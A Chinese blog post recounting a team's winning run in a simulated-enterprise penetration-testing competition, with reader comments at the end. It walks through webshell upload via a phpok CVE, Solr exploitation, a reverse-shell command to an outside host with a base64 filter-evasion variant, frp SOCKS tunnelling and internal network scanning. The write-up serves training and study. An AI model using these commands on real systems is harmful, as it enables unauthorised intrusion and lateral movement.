比赛概述
难以置信,我们是第一名!!!感谢同一队的@Mstir师傅和我的密切合作哈哈
安恒杯初赛是CTF,我博客前面两篇文章写了一部分解题思路,后面看看要不要再把一些解题思路放上来(主要是懒哈哈,懒得码字)
决赛的话,就不是CTF的赛制了,而是综合渗透赛制,这个有点像AWD但又不像
本来我和 @Mstir 师傅也只是想认真比一下的,但没想到拿了第一,真的意想不到
有些师傅想要让我分享一下这次比赛,那我就在这里简单的分享一下吧
何为综合渗透赛制?
综合渗透赛制,又称靶场综合渗透,此模式涉及多个前沿热门应用、同时涉及了多层网络,模拟真实企业生产环境,比如上线一套分布在不同网络区域的多台漏洞靶机,参赛队伍通过内网渗透获取靶机相应权限,从而读取相应的Flag(旗标文件)。涉及的知识点有内网安全、反向代理、内网穿透、服务器提权、中间件安全、数据库安全等。
简单来说,就是我们作为攻击方,通过对模拟真实环境的靶机进行渗透来获取关键Flag
1# 准备阶段
前期:摄像头、录屏工具(EV录屏、Bandicam)
因为比赛的时候,我们学校放假了,因为本次比赛有非常强的防作弊措施,比赛全程都要开启并接入监控摄像头,比赛全程所有选手的电脑必须录屏并提交,所以这两个必须要准备
比赛期间:
- 一台公网服务器:用来反弹Shell和Frp转发流量
- 7kbScan:用于扫描Web敏感路径的
- BurpSuite:著名的抓包工具,爆破Web的密码要用
- AntSword(蚁剑):用于连接WebShell和访问数据库以及提权
- SolrVulScan1.0-win64.jar:本次比赛出现CVE-2019-17558这个Apache Solr的漏洞,所以需要利用工具
- Solr_CVE-2019-17558.py:同上,Python的漏洞利用脚本
- Fscan:内网扫描神器,相信很多师傅都用过
- Frp:用于内网渗透的时候将内网流量代理出来
- Proxifier:用于配合Frp,给本机系统进行全局代理
- Navicat(可选):数据库可视化连接工具,配合Frp连接内网数据库
- Ladon拉冬:K8师傅开发的内网渗透、提权必备神器
- DayBreak破晓平台:斗象科技开发的轻量级C2平台项目,我拿到了内测权限,用来上线Linux,可以用CobaltStrike替代
能想到的工具目前就这些了,如果还有的话再补充
2# 整体思维导图
3# 比赛过程
3.1# 外网打点阶段-phpok
首先给了一个外网地址:162.14.*.*
(扫描后,发现开了两个端口:80
和8983
端口)
80端口,访问后是一个网站:
显示使用phpok这个源码搭建的:
直接上手7kbscan
,扫描路径:扫出了一个robots.txt
和admin.php
robots.txt
里面带了一个flag14
,admin.php
是后台地址
用BurpSuite爆破后台账号密码,注意这里需要识别验证码进行爆破,相关的姿势去百度有很多文章,这里就不赘述了
爆破出后台账号密码:admin
/admin123
吐槽:估计是怕BurpSuite带验证码爆破有些队伍不会,提示Hint1直接给了账号密码,我爆破半天。。
登录后台后,百度可以找到phpok存在后台任意文件上传 (CVE-2018-12491)漏洞,直接跟着文章复现漏洞即可: https://blog.csdn.net/weixin_42675091/article/details/126673611
至此,我们拿到了WebShell,用AntSword连接即可:
找到数据库配置文件,连上本地数据库:
数据库地址:127.0.0.1
数据库账号:root
数据库密码:abc123...
数据库名:phpok4simple
直接可以通过蚁剑连上数据库,但是翻了翻没flag,估计在其他地方
然后直接通过WebShell到/home/目录下,就找到了flag1
:
3.2# 外网打点阶段-Apache Solr
转头来看对外开放的Solr服务:直接Python脚本一把梭哈哈,也能拿到falg1
3.3# 上线机器
直接在Web目录下上传二进制文件,命令直接执行即可上线:
在DayBreak破晓平台
即可看到机器上线了:
可以很清楚的看到,上线的机器内网地址为172.16.238.20
同样,可以直接通过WebShell执行反弹shell指令,但是直接执行好像不行:
bash -i >& /dev/tcp/8.***.**.**/25565 0>&1
这时候,就需要对命令进行编码即可绕过进行反弹shell:
bash -c '{echo,base64编码后的字符串}|{base64,-d}|{bash,-i}'
3.4# 内网扫描
直接丢个Ladon拉冬或者Fscan扫内网就行了
这时候提示Hint2来了,直接给内网C段:172.16.238.0/24(话说用WebShell看一下地址不就好了吗,这还需要提示???)
我这边同时使用Fscan
和DayBreak破晓平台
同时开始内网扫描:
上传fscan_amd64
,使用以下命令:
/var/www/html/fscan_amd64 -h 172.16.238.0/24 > 222.txt
将扫描结果直接导入222.txt
结果如下:
start ping
(icmp) Target 172.16.238.20 is alive
(icmp) Target 172.16.238.50 is alive
(icmp) Target 172.16.238.10 is alive
(icmp) Target 172.16.238.1 is alive
(icmp) Target 172.16.238.30 is alive
(icmp) Target 172.16.238.40 is alive
[*] Icmp alive hosts len is: 6
172.16.238.30:8080 open
172.16.238.20:80 open
172.16.238.40:22 open
172.16.238.1:22 open
172.16.238.30:8009 open
172.16.238.50:445 open
172.16.238.50:139 open
172.16.238.1:80 open
172.16.238.40:3306 open
172.16.238.1:8983 open
172.16.238.10:8983 open
[*] alive ports len is: 11
start vulscan
[*] NetBios: 172.16.238.50 56b9f476dcc9 Windows 6.1
[*] 172.16.238.50 (Windows 6.1)
[*] WebTitle: http://172.16.238.10:8983 code:302 len:0 title:None 跳转url: http://172.16.238.10:8983/solr/
[*] WebTitle: http://172.16.238.30:8080 code:200 len:11230 title:Apache Tomcat/8.0.43
[*] WebTitle: http://172.16.238.10:8983/solr/ code:200 len:14634 title:Solr Admin
[*] WebTitle: http://172.16.238.20 code:200 len:14255 title:闻道集团 - 网站建设|企业网站建设|PHPOK网站建设|PHPOK企业网站建设
[*] WebTitle: http://172.16.238.1 code:200 len:14213 title:闻道集团 - 网站建设|企业网站建设|PHPOK网站建设|PHPOK企业网站建设
[*] WebTitle: http://172.16.238.1:8983 code:302 len:0 title:None 跳转url: http://172.16.238.1:8983/solr/
[*] WebTitle: http://172.16.238.1:8983/solr/ code:200 len:14634 title:Solr Admin
[+] http://172.16.238.30:8009 poc-yaml-iis-put-getshell
[+] http://172.16.238.30:8080 poc-yaml-tomcat-cve-2017-12615-rce
[+] http://172.16.238.1:8983 poc-yaml-solr-velocity-template-rce
[+] http://172.16.238.10:8983 poc-yaml-solr-velocity-template-rce
//内置的ssh没爆破成功,这部分就删掉了
已完成 11/11
[*] 扫描结束,耗时: 6m40.996181292s
DayBreak破晓平台
扫描结果如下:
没问题,两边都扫描出这些端口和内容,应该算是没有遗漏了
扫出172.16.238.40
这台机器开放了3306端口(MySQL数据库),加上我们之前拿到WebShell之后可以看到数据库连接的账号密码,就尝试连接发现flag5:
3.5# Frp内网流量带出
测试了以下,内网172.16.238.0/24是不出网的,必须要用Frp将流量带出来
下载Frp: fatedier/frp
很简单,frpc是客户端,frps是服务端
配置frpc.ini
:
# frpc.ini
[common]
server_addr = 自己公网服务器地址
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
plugin = socks5 //这一句必须要加,不然代理连不上
客户端通过WebShell上传,frps上传到自己的公网服务器上,配置frps.ini
:
# frps.ini
[common]
bind_port = 7000
接下来要在自己的公网服务器上开6000和7000这两个端口,并执行命令进行监听:
./frps -c ./frps.ini
再在上线的那台机器上执行命令:
/var/www/html/frp/frpc -c ./frpc.ini
这样就可以成功将内网流量通过公网服务器的6000端口代理出来了,接下来使用Proxifier
配合Frp对本地系统进行全局代理:
3.6# 内网渗透
既然上面发现172.16.238.1
和172.16.238.10
存在Solr漏洞,直接用SolrVulScan1.0-win64.jar
打过去:
也能拿到一个flag,这里就不放出来了
同时,172.16.238.30
的8080
端口有Tomcat服务也存在漏洞,内网流量代理出来后就很方便了,直接本机打就行了:
同样,读取/home/flag即可拿到flag
4# 主办方提示汇总
Hint1:
CVE-2019-17558
find提权
admin/admin123
1. SUID提权
2. oklite的robots.txt 别忘了,然后试试 admin/admin123 登录。
Hint2:
1. 一层内网地址:172.16.238.0/24
2. 多扫扫,内网机器的洞很好搞的。
Hint3:
getshell后尽量用frp或者nps,尽量不要用 reGeorg 之类的正向代理工具,Apache可经不起你这样跑:)
HInt4:
注意数据安全,数据库里可能也会有flag,别光GetShell,翻下数据库。
Hint5:
172.16.238.40,MYSQL,用oklite的config.php里的密码去连,同学们渗透要做好信息收集。
Hint6:
冰蝎不行可以用蚁剑。
MYSQL UDF,还有flag。
总结
共8个flag,我们总共找到6个flag
最后时间不够了,不然172.16.238.40
的MySQL进行UDF提权,估计还能拿到一个flag
MySQL提权可以看我这篇文章: MySQL不出网文件落地上线姿势
- 队伍里面合作很重要,感谢 @Mstir 师傅和我的密切配合
- 这种比赛需要自备一台公网服务器,不然后期的内网渗透寸步难行
- 自己渗透的速度还是不够,如果再快点,能把全部flag都找到,还要多加练习
- 信息搜集很重要,特别是内网的信息,40那台机器的数据库我也差点忽略了哈哈
- 感谢安恒科技和各个主办单位,给我们这次机会展示自己,没想到真的拿了第一名
其实是15个Flag。
少年,仍需努力。
哈?当时队友和我说part2应该不用做,就没去看了,后面都在钻研MySQL的UDF提权了哈哈
现在想来,觉得也对哈,怎么可能只有一层内网哈哈,平常做项目都有三四层内网,受教了
我们估计也快了,之前一直延迟比赛
这也能拿第一吗 浙江感觉水平不太行
哦?所以您搞个来看看?